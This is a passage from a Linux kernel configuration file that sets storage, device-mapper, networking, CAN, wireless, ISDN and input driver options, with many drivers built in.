# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_PCMCIA is not set
# CONFIG_PATA_OF_PLATFORM is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_PATA_ACPI is not set
CONFIG_ATA_GENERIC=y
# CONFIG_PATA_LEGACY is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_BITMAP=y
# CONFIG_MD_LLBITMAP is not set
CONFIG_MD_AUTODETECT=y
CONFIG_MD_BITMAP_FILE=y
# CONFIG_MD_LINEAR is not set
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID10=y
CONFIG_MD_RAID456=y
# CONFIG_MD_CLUSTER is not set
CONFIG_BCACHE=y
# CONFIG_BCACHE_DEBUG is not set
# CONFIG_BCACHE_ASYNC_REGISTRATION is not set
CONFIG_BLK_DEV_DM_BUILTIN=y
CONFIG_BLK_DEV_DM=y
# CONFIG_DM_DEBUG is not set
CONFIG_DM_BUFIO=y
# CONFIG_DM_DEBUG_BLOCK_MANAGER_LOCKING is not set
CONFIG_DM_BIO_PRISON=y
CONFIG_DM_PERSISTENT_DATA=y
# CONFIG_DM_UNSTRIPED is not set
CONFIG_DM_CRYPT=y
CONFIG_DM_SNAPSHOT=y
CONFIG_DM_THIN_PROVISIONING=y
CONFIG_DM_CACHE=y
CONFIG_DM_CACHE_SMQ=y
CONFIG_DM_WRITECACHE=y
# CONFIG_DM_EBS is not set
# CONFIG_DM_ERA is not set
CONFIG_DM_CLONE=y
CONFIG_DM_MIRROR=y
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_RAID=y
CONFIG_DM_ZERO=y
CONFIG_DM_MULTIPATH=y
CONFIG_DM_MULTIPATH_QL=y
CONFIG_DM_MULTIPATH_ST=y
# CONFIG_DM_MULTIPATH_HST is not set
# CONFIG_DM_MULTIPATH_IOA is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_DUST is not set
# CONFIG_DM_INIT is not set
CONFIG_DM_UEVENT=y
CONFIG_DM_FLAKEY=y
CONFIG_DM_VERITY=y
# CONFIG_DM_VERITY_VERIFY_ROOTHASH_SIG is not set
CONFIG_DM_VERITY_FEC=y
# CONFIG_DM_SWITCH is not set
# CONFIG_DM_LOG_WRITES is not set
CONFIG_DM_INTEGRITY=y
CONFIG_DM_ZONED=y
CONFIG_DM_AUDIT=y
# CONFIG_DM_VDO is not set
# CONFIG_DM_PCACHE is not set
CONFIG_TARGET_CORE=y
# CONFIG_TCM_IBLOCK is not set
# CONFIG_TCM_FILEIO is not set
# CONFIG_TCM_PSCSI is not set
# CONFIG_LOOPBACK_TARGET is not set
# CONFIG_ISCSI_TARGET is not set
# CONFIG_SBP_TARGET is not set
# CONFIG_REMOTE_TARGET is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
CONFIG_FIREWIRE=y
CONFIG_FIREWIRE_OHCI=y
CONFIG_FIREWIRE_SBP2=y
CONFIG_FIREWIRE_NET=y
# CONFIG_FIREWIRE_NOSY is not set
# end of IEEE 1394 (FireWire) support

# CONFIG_MACINTOSH_DRIVERS is not set
CONFIG_NETDEVICES=y
CONFIG_MII=y
CONFIG_NET_CORE=y
CONFIG_BONDING=y
CONFIG_DUMMY=y
CONFIG_WIREGUARD=y
# CONFIG_WIREGUARD_DEBUG is not set
# CONFIG_OVPN is not set
CONFIG_EQUALIZER=y
CONFIG_NET_FC=y
CONFIG_IFB=y
CONFIG_NET_TEAM=y
CONFIG_NET_TEAM_MODE_BROADCAST=y
CONFIG_NET_TEAM_MODE_ROUNDROBIN=y
CONFIG_NET_TEAM_MODE_RANDOM=y
CONFIG_NET_TEAM_MODE_ACTIVEBACKUP=y
CONFIG_NET_TEAM_MODE_LOADBALANCE=y
CONFIG_MACVLAN=y
CONFIG_MACVTAP=y
CONFIG_IPVLAN_L3S=y
CONFIG_IPVLAN=y
CONFIG_IPVTAP=y
CONFIG_VXLAN=y
CONFIG_GENEVE=y
CONFIG_BAREUDP=y
CONFIG_GTP=y
# CONFIG_PFCP is not set
# CONFIG_AMT is not set
CONFIG_MACSEC=y
CONFIG_NETCONSOLE=y
# CONFIG_NETCONSOLE_DYNAMIC is not set
# CONFIG_NETCONSOLE_EXTENDED_LOG is not set
CONFIG_NETPOLL=y
CONFIG_NET_POLL_CONTROLLER=y
CONFIG_TUN=y
CONFIG_TAP=y
CONFIG_TUN_VNET_CROSS_LE=y
CONFIG_VETH=y
CONFIG_VIRTIO_NET=y
CONFIG_NLMON=y
# CONFIG_NETKIT is not set
CONFIG_NET_VRF=y
CONFIG_VSOCKMON=y
# CONFIG_MHI_NET is not set
# CONFIG_ARCNET is not set
CONFIG_ATM_DRIVERS=y
# CONFIG_ATM_DUMMY is not set
CONFIG_ATM_TCP=y
# CONFIG_ATM_LANAI is not set
# CONFIG_ATM_ENI is not set
# CONFIG_ATM_NICSTAR is not set
# CONFIG_ATM_IDT77252 is not set
# CONFIG_ATM_IA is not set
# CONFIG_ATM_FORE200E is not set
# CONFIG_ATM_HE is not set
# CONFIG_ATM_SOLOS is not set
CONFIG_CAIF_DRIVERS=y
CONFIG_CAIF_TTY=y
CONFIG_CAIF_VIRTIO=y

#
# Distributed Switch Architecture drivers
#
# CONFIG_B53 is not set
# CONFIG_NET_DSA_BCM_SF2 is not set
# CONFIG_NET_DSA_LOOP is not set
# CONFIG_NET_DSA_HIRSCHMANN_HELLCREEK is not set
# CONFIG_NET_DSA_LANTIQ_GSWIP is not set
# CONFIG_NET_DSA_MXL_GSW1XX is not set
# CONFIG_NET_DSA_MT7530 is not set
# CONFIG_NET_DSA_MV88E6060 is not set
# CONFIG_NET_DSA_MICROCHIP_KSZ_COMMON is not set
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_MXL862 is not set
# CONFIG_NET_DSA_AR9331 is not set
# CONFIG_NET_DSA_QCA8K is not set
# CONFIG_NET_DSA_SJA1105 is not set
# CONFIG_NET_DSA_XRS700X_I2C is not set
# CONFIG_NET_DSA_XRS700X_MDIO is not set
# CONFIG_NET_DSA_REALTEK is not set
# CONFIG_NET_DSA_KS8995 is not set
# CONFIG_NET_DSA_SMSC_LAN9303_I2C is not set
# CONFIG_NET_DSA_SMSC_LAN9303_MDIO is not set
# CONFIG_NET_DSA_VITESSE_VSC73XX_SPI is not set
# CONFIG_NET_DSA_VITESSE_VSC73XX_PLATFORM is not set
# CONFIG_NET_DSA_YT921X is not set
# end of Distributed Switch Architecture drivers

CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_AGERE is not set
# CONFIG_NET_VENDOR_ALACRITECH is not set
CONFIG_NET_VENDOR_ALTEON=y
# CONFIG_ACENIC is not set
# CONFIG_ALTERA_TSE is not set
CONFIG_NET_VENDOR_AMAZON=y
# CONFIG_ENA_ETHERNET is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_AQUANTIA is not set
# CONFIG_NET_VENDOR_ARC is not set
CONFIG_NET_VENDOR_ASIX=y
# CONFIG_SPI_AX88796C is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_CX_ECAT is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_CADENCE is not set
# CONFIG_NET_VENDOR_CAVIUM is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
CONFIG_NET_VENDOR_CISCO=y
# CONFIG_ENIC is not set
# CONFIG_NET_VENDOR_CORTINA is not set
CONFIG_NET_VENDOR_DAVICOM=y
# CONFIG_DM9051 is not set
# CONFIG_NET_VENDOR_DEC is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
CONFIG_NET_VENDOR_ENGLEDER=y
# CONFIG_TSNEP is not set
# CONFIG_NET_VENDOR_EZCHIP is not set
# CONFIG_NET_VENDOR_FUJITSU is not set
CONFIG_NET_VENDOR_FUNGIBLE=y
# CONFIG_FUN_ETH is not set
CONFIG_NET_VENDOR_GOOGLE=y
CONFIG_GVE=y
CONFIG_NET_VENDOR_HISILICON=y
# CONFIG_HIBMCGE is not set
# CONFIG_NET_VENDOR_HUAWEI is not set
CONFIG_NET_VENDOR_I825XX=y
CONFIG_NET_VENDOR_INTEL=y
CONFIG_E100=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_E1000E_HWTS=y
# CONFIG_IGB is not set
# CONFIG_IGBVF is not set
# CONFIG_IXGBE is not set
# CONFIG_IXGBEVF is not set
# CONFIG_I40E is not set
# CONFIG_I40EVF is not set
# CONFIG_ICE is not set
# CONFIG_FM10K is not set
# CONFIG_IGC is not set
# CONFIG_IDPF is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_ADI is not set
CONFIG_NET_VENDOR_LITEX=y
# CONFIG_LITEX_LITEETH is not set
# CONFIG_NET_VENDOR_MARVELL is not set
CONFIG_NET_VENDOR_MELLANOX=y
# CONFIG_MLX4_EN is not set
CONFIG_MLX4_CORE=y
# CONFIG_MLX4_DEBUG is not set
# CONFIG_MLX4_CORE_GEN2 is not set
# CONFIG_MLX5_CORE is not set
# CONFIG_MLXSW_CORE is not set
# CONFIG_MLXFW is not set
CONFIG_NET_VENDOR_META=y
# CONFIG_FBNIC is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MICROCHIP is not set
# CONFIG_NET_VENDOR_MICROSEMI is not set
CONFIG_NET_VENDOR_MICROSOFT=y
CONFIG_NET_VENDOR_MUCSE=y
# CONFIG_MGBE is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NI is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NETRONOME is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_VENDOR_PACKET_ENGINES is not set
# CONFIG_NET_VENDOR_PENSANDO is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_VENDOR_QUALCOMM is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RENESAS is not set
# CONFIG_NET_VENDOR_ROCKER is not set
# CONFIG_NET_VENDOR_SAMSUNG is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_NET_VENDOR_SOLARFLARE is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_SOCIONEXT is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_SYNOPSYS is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
CONFIG_NET_VENDOR_VERTEXCOM=y
# CONFIG_MSE102X is not set
# CONFIG_NET_VENDOR_VIA is not set
CONFIG_NET_VENDOR_WANGXUN=y
# CONFIG_NGBE is not set
# CONFIG_TXGBE is not set
# CONFIG_TXGBEVF is not set
# CONFIG_NGBEVF is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_NET_VENDOR_XILINX is not set
# CONFIG_NET_VENDOR_XIRCOM is not set
CONFIG_FDDI=y
# CONFIG_DEFXX is not set
# CONFIG_SKFP is not set
CONFIG_MDIO_BUS=y
CONFIG_PHYLINK=y
CONFIG_PHYLIB=y
CONFIG_SWPHY=y
# CONFIG_LED_TRIGGER_PHY is not set
CONFIG_PHYLIB_LEDS=y
CONFIG_FIXED_PHY=y
# CONFIG_SFP is not set

#
# MII PHY device drivers
#
# CONFIG_AS21XXX_PHY is not set
# CONFIG_AIR_EN8811H_PHY is not set
# CONFIG_AMD_PHY is not set
# CONFIG_ADIN_PHY is not set
# CONFIG_ADIN1100_PHY is not set
# CONFIG_AQUANTIA_PHY is not set
CONFIG_AX88796B_PHY=y
# CONFIG_BROADCOM_PHY is not set
# CONFIG_BCM54140_PHY is not set
# CONFIG_BCM7XXX_PHY is not set
# CONFIG_BCM84881_PHY is not set
# CONFIG_BCM87XX_PHY is not set
# CONFIG_CICADA_PHY is not set
# CONFIG_CORTINA_PHY is not set
# CONFIG_DAVICOM_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_LXT_PHY is not set
# CONFIG_INTEL_XWAY_PHY is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_MARVELL_PHY is not set
# CONFIG_MARVELL_10G_PHY is not set
# CONFIG_MARVELL_88Q2XXX_PHY is not set
# CONFIG_MARVELL_88X2222_PHY is not set
# CONFIG_MAXLINEAR_GPHY is not set
# CONFIG_MAXLINEAR_86110_PHY is not set
# CONFIG_MEDIATEK_GE_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MICROCHIP_T1S_PHY is not set
CONFIG_MICROCHIP_PHY=y
# CONFIG_MICROCHIP_T1_PHY is not set
# CONFIG_MICROSEMI_PHY is not set
# CONFIG_MOTORCOMM_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_NXP_CBTX_PHY is not set
# CONFIG_NXP_C45_TJA11XX_PHY is not set
# CONFIG_NXP_TJA11XX_PHY is not set
# CONFIG_NCN26000_PHY is not set
# CONFIG_AT803X_PHY is not set
# CONFIG_QCA83XX_PHY is not set
# CONFIG_QCA808X_PHY is not set
# CONFIG_QCA807X_PHY is not set
# CONFIG_QSEMI_PHY is not set
CONFIG_REALTEK_PHY=y
# CONFIG_REALTEK_PHY_HWMON is not set
# CONFIG_RENESAS_PHY is not set
# CONFIG_ROCKCHIP_PHY is not set
CONFIG_SMSC_PHY=y
# CONFIG_STE10XP is not set
# CONFIG_TERANETICS_PHY is not set
# CONFIG_DP83822_PHY is not set
# CONFIG_DP83TC811_PHY is not set
# CONFIG_DP83848_PHY is not set
# CONFIG_DP83867_PHY is not set
# CONFIG_DP83869_PHY is not set
# CONFIG_DP83TD510_PHY is not set
# CONFIG_DP83TG720_PHY is not set
# CONFIG_VITESSE_PHY is not set
# CONFIG_XILINX_GMII2RGMII is not set
# CONFIG_PSE_CONTROLLER is not set
CONFIG_CAN_DEV=y
CONFIG_CAN_VCAN=y
CONFIG_CAN_VXCAN=y
CONFIG_CAN_NETLINK=y
CONFIG_CAN_CALC_BITTIMING=y
CONFIG_CAN_RX_OFFLOAD=y
# CONFIG_CAN_CAN327 is not set
# CONFIG_CAN_DUMMY is not set
# CONFIG_CAN_FLEXCAN is not set
# CONFIG_CAN_GRCAN is not set
# CONFIG_CAN_KVASER_PCIEFD is not set
CONFIG_CAN_SLCAN=y
# CONFIG_CAN_C_CAN is not set
# CONFIG_CAN_CC770 is not set
# CONFIG_CAN_CTUCANFD_PCI is not set
# CONFIG_CAN_CTUCANFD_PLATFORM is not set
# CONFIG_CAN_ESD_402_PCI is not set
CONFIG_CAN_IFI_CANFD=y
# CONFIG_CAN_M_CAN is not set
# CONFIG_CAN_PEAK_PCIEFD is not set
# CONFIG_CAN_SJA1000 is not set
# CONFIG_CAN_SOFTING is not set

#
# CAN SPI interfaces
#
# CONFIG_CAN_HI311X is not set
# CONFIG_CAN_MCP251X is not set
# CONFIG_CAN_MCP251XFD is not set
# end of CAN SPI interfaces

#
# CAN USB interfaces
#
CONFIG_CAN_8DEV_USB=y
CONFIG_CAN_EMS_USB=y
CONFIG_CAN_ESD_USB=y
CONFIG_CAN_ETAS_ES58X=y
CONFIG_CAN_F81604=y
CONFIG_CAN_GS_USB=y
CONFIG_CAN_KVASER_USB=y
CONFIG_CAN_MCBA_USB=y
CONFIG_CAN_PEAK_USB=y
CONFIG_CAN_UCAN=y
# end of CAN USB interfaces

# CONFIG_CAN_DEBUG_DEVICES is not set

#
# MCTP Device Drivers
#
# CONFIG_MCTP_SERIAL is not set
# CONFIG_MCTP_TRANSPORT_I2C is not set
# CONFIG_MCTP_TRANSPORT_USB is not set
# end of MCTP Device Drivers

CONFIG_FWNODE_MDIO=y
CONFIG_OF_MDIO=y
CONFIG_ACPI_MDIO=y
# CONFIG_MDIO_BITBANG is not set
# CONFIG_MDIO_BCM_UNIMAC is not set
# CONFIG_MDIO_HISI_FEMAC is not set
CONFIG_MDIO_MVUSB=y
# CONFIG_MDIO_MSCC_MIIM is not set
# CONFIG_MDIO_OCTEON is not set
# CONFIG_MDIO_IPQ4019 is not set
# CONFIG_MDIO_IPQ8064 is not set
# CONFIG_MDIO_THUNDER is not set

#
# MDIO Multiplexers
#
# CONFIG_MDIO_BUS_MUX_GPIO is not set
# CONFIG_MDIO_BUS_MUX_MULTIPLEXER is not set
# CONFIG_MDIO_BUS_MUX_MMIOREG is not set

#
# PCS device drivers
#
# CONFIG_PCS_XPCS is not set
# end of PCS device drivers

# CONFIG_PLIP is not set
CONFIG_PPP=y
CONFIG_PPP_BSDCOMP=y
CONFIG_PPP_DEFLATE=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_MPPE=y
CONFIG_PPP_MULTILINK=y
CONFIG_PPPOATM=y
CONFIG_PPPOE=y
CONFIG_PPPOE_HASH_BITS_1=y
# CONFIG_PPPOE_HASH_BITS_2 is not set
# CONFIG_PPPOE_HASH_BITS_4 is not set
# CONFIG_PPPOE_HASH_BITS_8 is not set
CONFIG_PPPOE_HASH_BITS=1
CONFIG_PPTP=y
CONFIG_PPPOL2TP=y
CONFIG_PPP_ASYNC=y
CONFIG_PPP_SYNC_TTY=y
CONFIG_SLIP=y
CONFIG_SLHC=y
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLIP_SMART=y
CONFIG_SLIP_MODE_SLIP6=y
CONFIG_USB_NET_DRIVERS=y
CONFIG_USB_CATC=y
CONFIG_USB_KAWETH=y
CONFIG_USB_PEGASUS=y
CONFIG_USB_RTL8150=y
CONFIG_USB_RTL8152=y
CONFIG_USB_LAN78XX=y
CONFIG_USB_USBNET=y
CONFIG_USB_NET_AX8817X=y
CONFIG_USB_NET_AX88179_178A=y
CONFIG_USB_NET_CDCETHER=y
CONFIG_USB_NET_CDC_EEM=y
CONFIG_USB_NET_CDC_NCM=y
CONFIG_USB_NET_HUAWEI_CDC_NCM=y
CONFIG_USB_NET_CDC_MBIM=y
CONFIG_USB_NET_DM9601=y
CONFIG_USB_NET_SR9700=y
CONFIG_USB_NET_SR9800=y
CONFIG_USB_NET_SMSC75XX=y
CONFIG_USB_NET_SMSC95XX=y
CONFIG_USB_NET_GL620A=y
CONFIG_USB_NET_NET1080=y
CONFIG_USB_NET_PLUSB=y
CONFIG_USB_NET_MCS7830=y
CONFIG_USB_NET_RNDIS_HOST=y
CONFIG_USB_NET_CDC_SUBSET_ENABLE=y
CONFIG_USB_NET_CDC_SUBSET=y
CONFIG_USB_ALI_M5632=y
CONFIG_USB_AN2720=y
CONFIG_USB_BELKIN=y
CONFIG_USB_ARMLINUX=y
CONFIG_USB_EPSON2888=y
CONFIG_USB_KC2190=y
CONFIG_USB_NET_ZAURUS=y
CONFIG_USB_NET_CX82310_ETH=y
CONFIG_USB_NET_KALMIA=y
CONFIG_USB_NET_QMI_WWAN=y
CONFIG_USB_HSO=y
CONFIG_USB_NET_INT51X1=y
CONFIG_USB_CDC_PHONET=y
CONFIG_USB_IPHETH=y
CONFIG_USB_SIERRA_NET=y
CONFIG_USB_VL600=y
CONFIG_USB_NET_CH9200=y
CONFIG_USB_NET_AQC111=y
CONFIG_USB_RTL8153_ECM=y
CONFIG_WLAN=y
CONFIG_WLAN_VENDOR_ADMTEK=y
# CONFIG_ADM8211 is not set
CONFIG_ATH_COMMON=y
CONFIG_WLAN_VENDOR_ATH=y
# CONFIG_ATH_DEBUG is not set
# CONFIG_ATH5K is not set
# CONFIG_ATH5K_PCI is not set
CONFIG_ATH9K_HW=y
CONFIG_ATH9K_COMMON=y
CONFIG_ATH9K_COMMON_DEBUG=y
CONFIG_ATH9K_BTCOEX_SUPPORT=y
CONFIG_ATH9K=y
CONFIG_ATH9K_PCI=y
CONFIG_ATH9K_AHB=y
CONFIG_ATH9K_DEBUGFS=y
# CONFIG_ATH9K_STATION_STATISTICS is not set
CONFIG_ATH9K_DYNACK=y
# CONFIG_ATH9K_WOW is not set
CONFIG_ATH9K_RFKILL=y
CONFIG_ATH9K_CHANNEL_CONTEXT=y
CONFIG_ATH9K_PCOEM=y
# CONFIG_ATH9K_PCI_NO_EEPROM is not set
CONFIG_ATH9K_HTC=y
CONFIG_ATH9K_HTC_DEBUGFS=y
# CONFIG_ATH9K_HWRNG is not set
CONFIG_ATH9K_COMMON_SPECTRAL=y
CONFIG_CARL9170=y
CONFIG_CARL9170_LEDS=y
# CONFIG_CARL9170_DEBUGFS is not set
CONFIG_CARL9170_WPC=y
CONFIG_CARL9170_HWRNG=y
CONFIG_ATH6KL=y
# CONFIG_ATH6KL_SDIO is not set
CONFIG_ATH6KL_USB=y
# CONFIG_ATH6KL_DEBUG is not set
# CONFIG_ATH6KL_TRACING is not set
CONFIG_AR5523=y
# CONFIG_WIL6210 is not set
CONFIG_ATH10K=y
CONFIG_ATH10K_CE=y
CONFIG_ATH10K_PCI=y
# CONFIG_ATH10K_AHB is not set
# CONFIG_ATH10K_SDIO is not set
CONFIG_ATH10K_USB=y
# CONFIG_ATH10K_DEBUG is not set
# CONFIG_ATH10K_DEBUGFS is not set
CONFIG_ATH10K_LEDS=y
# CONFIG_ATH10K_TRACING is not set
# CONFIG_WCN36XX is not set
CONFIG_ATH11K=y
# CONFIG_ATH11K_PCI is not set
# CONFIG_ATH11K_DEBUG is not set
# CONFIG_ATH11K_DEBUGFS is not set
# CONFIG_ATH11K_TRACING is not set
# CONFIG_ATH12K is not set
# CONFIG_WLAN_VENDOR_ATMEL is not set
# CONFIG_WLAN_VENDOR_BROADCOM is not set
# CONFIG_WLAN_VENDOR_INTEL is not set
# CONFIG_WLAN_VENDOR_INTERSIL is not set
# CONFIG_WLAN_VENDOR_MARVELL is not set
# CONFIG_WLAN_VENDOR_MEDIATEK is not set
# CONFIG_WLAN_VENDOR_MICROCHIP is not set
CONFIG_WLAN_VENDOR_PURELIFI=y
CONFIG_PLFXLC=y
# CONFIG_WLAN_VENDOR_RALINK is not set
# CONFIG_WLAN_VENDOR_REALTEK is not set
# CONFIG_WLAN_VENDOR_RSI is not set
CONFIG_WLAN_VENDOR_SILABS=y
# CONFIG_WFX is not set
# CONFIG_WLAN_VENDOR_ST is not set
# CONFIG_WLAN_VENDOR_TI is not set
# CONFIG_WLAN_VENDOR_ZYDAS is not set
# CONFIG_WLAN_VENDOR_QUANTENNA is not set
CONFIG_MAC80211_HWSIM=y
CONFIG_VIRT_WIFI=y
CONFIG_WAN=y
CONFIG_HDLC=y
CONFIG_HDLC_RAW=y
CONFIG_HDLC_RAW_ETH=y
CONFIG_HDLC_CISCO=y
CONFIG_HDLC_FR=y
CONFIG_HDLC_PPP=y
CONFIG_HDLC_X25=y
# CONFIG_FRAMER is not set
# CONFIG_PCI200SYN is not set
# CONFIG_WANXL is not set
# CONFIG_PC300TOO is not set
# CONFIG_FARSYNC is not set
CONFIG_LAPBETHER=y
CONFIG_IEEE802154_DRIVERS=y
# CONFIG_IEEE802154_FAKELB is not set
# CONFIG_IEEE802154_AT86RF230 is not set
# CONFIG_IEEE802154_MRF24J40 is not set
# CONFIG_IEEE802154_CC2520 is not set
CONFIG_IEEE802154_ATUSB=y
# CONFIG_IEEE802154_ADF7242 is not set
# CONFIG_IEEE802154_CA8210 is not set
# CONFIG_IEEE802154_MCR20A is not set
CONFIG_IEEE802154_HWSIM=y

#
# Wireless WAN
#
CONFIG_WWAN=y
# CONFIG_WWAN_DEBUGFS is not set
# CONFIG_WWAN_HWSIM is not set
CONFIG_MHI_WWAN_CTRL=y
# CONFIG_MHI_WWAN_MBIM is not set
# CONFIG_IOSM is not set
# CONFIG_MTK_T7XX is not set
# end of Wireless WAN

CONFIG_VMXNET3=y
# CONFIG_FUJITSU_ES is not set
CONFIG_USB4_NET=y
CONFIG_NETDEVSIM=y
CONFIG_NET_FAILOVER=y
CONFIG_ISDN=y
CONFIG_ISDN_CAPI=y
CONFIG_MISDN=y
CONFIG_MISDN_DSP=y
CONFIG_MISDN_L1OIP=y

#
# mISDN hardware drivers
#
# CONFIG_MISDN_HFCPCI is not set
# CONFIG_MISDN_HFCMULTI is not set
CONFIG_MISDN_HFCUSB=y
# CONFIG_MISDN_AVMFRITZ is not set
# CONFIG_MISDN_SPEEDFAX is not set
# CONFIG_MISDN_INFINEON is not set
# CONFIG_MISDN_W6692 is not set
# CONFIG_MISDN_NETJET is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_LEDS=y
CONFIG_INPUT_FF_MEMLESS=y
CONFIG_INPUT_SPARSEKMAP=y
# CONFIG_INPUT_MATRIXKMAP is not set
CONFIG_INPUT_VIVALDIFMAP=y

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
CONFIG_INPUT_JOYDEV=y
CONFIG_INPUT_EVDEV=y

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ADC is not set
# CONFIG_KEYBOARD_ADP5588 is not set
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_QT1050 is not set
# CONFIG_KEYBOARD_QT1070 is not set
# CONFIG_KEYBOARD_QT2160 is not set
# CONFIG_KEYBOARD_DLINK_DIR685 is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_GPIO is not set
# CONFIG_KEYBOARD_GPIO_POLLED is not set
# CONFIG_KEYBOARD_TCA8418 is not set
# CONFIG_KEYBOARD_MATRIX is not set
# CONFIG_KEYBOARD_LM8323 is not set
# CONFIG_KEYBOARD_LM8333 is not set
# CONFIG_KEYBOARD_MAX7359 is not set
# CONFIG_KEYBOARD_MPR121 is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_PINEPHONE is not set
# CONFIG_KEYBOARD_SAMSUNG is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_OMAP4 is not set
# CONFIG_KEYBOARD_TM2_TOUCHKEY is not set
# CONFIG_KEYBOARD_TWL4030 is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_CAP11XX is not set
# CONFIG_KEYBOARD_BCM is not set
# CONFIG_KEYBOARD_CYPRESS_SF is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_BYD=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_SYNAPTICS_SMBUS=y
CONFIG_MOUSE_PS2_CYPRESS=y
CONFIG_MOUSE_PS2_LIFEBOOK=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_PS2_FOCALTECH=y
# CONFIG_MOUSE_PS2_VMMOUSE is not set
CONFIG_MOUSE_PS2_SMBUS=y
# CONFIG_MOUSE_SERIAL is not set
CONFIG_MOUSE_APPLETOUCH=y
CONFIG_MOUSE_BCM5974=y
# CONFIG_MOUSE_CYAPA is not set
# CONFIG_MOUSE_ELAN_I2C is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_GPIO is not set
# CONFIG_MOUSE_SYNAPTICS_I2C is not set
CONFIG_MOUSE_SYNAPTICS_USB=y
CONFIG_INPUT_JOYSTICK=y
# CONFIG_JOYSTICK_ANALOG is not set
# CONFIG_JOYSTICK_A3D is not set
# CONFIG_JOYSTICK_ADC is not set
# CONFIG_JOYSTICK_ADI is not set
# CONFIG_JOYSTICK_COBRA is not set
# CONFIG_JOYSTICK_GF2K is not set
# CONFIG_JOYSTICK_GRIP is not set
# CONFIG_JOYSTICK_GRIP_MP is not set
# CONFIG_JOYSTICK_GUILLEMOT is not set
# CONFIG_JOYSTICK_INTERACT is not set
# CONFIG_JOYSTICK_SIDEWINDER is not set
# CONFIG_JOYSTICK_TMDC is not set
CONFIG_JOYSTICK_IFORCE=y
CONFIG_JOYSTICK_IFORCE_USB=y
# CONFIG_JOYSTICK_IFORCE_232 is not set
# CONFIG_JOYSTICK_WARRIOR is not set
# CONFIG_JOYSTICK_MAGELLAN is not set
# CONFIG_JOYSTICK_SPACEORB is not set
# CONFIG_JOYSTICK_SPACEBALL is not set
# CONFIG_JOYSTICK_STINGER is not set
# CONFIG_JOYSTICK_TWIDJOY is not set
# CONFIG_JOYSTICK_ZHENHUA is not set
# CONFIG_JOYSTICK_DB9 is not set
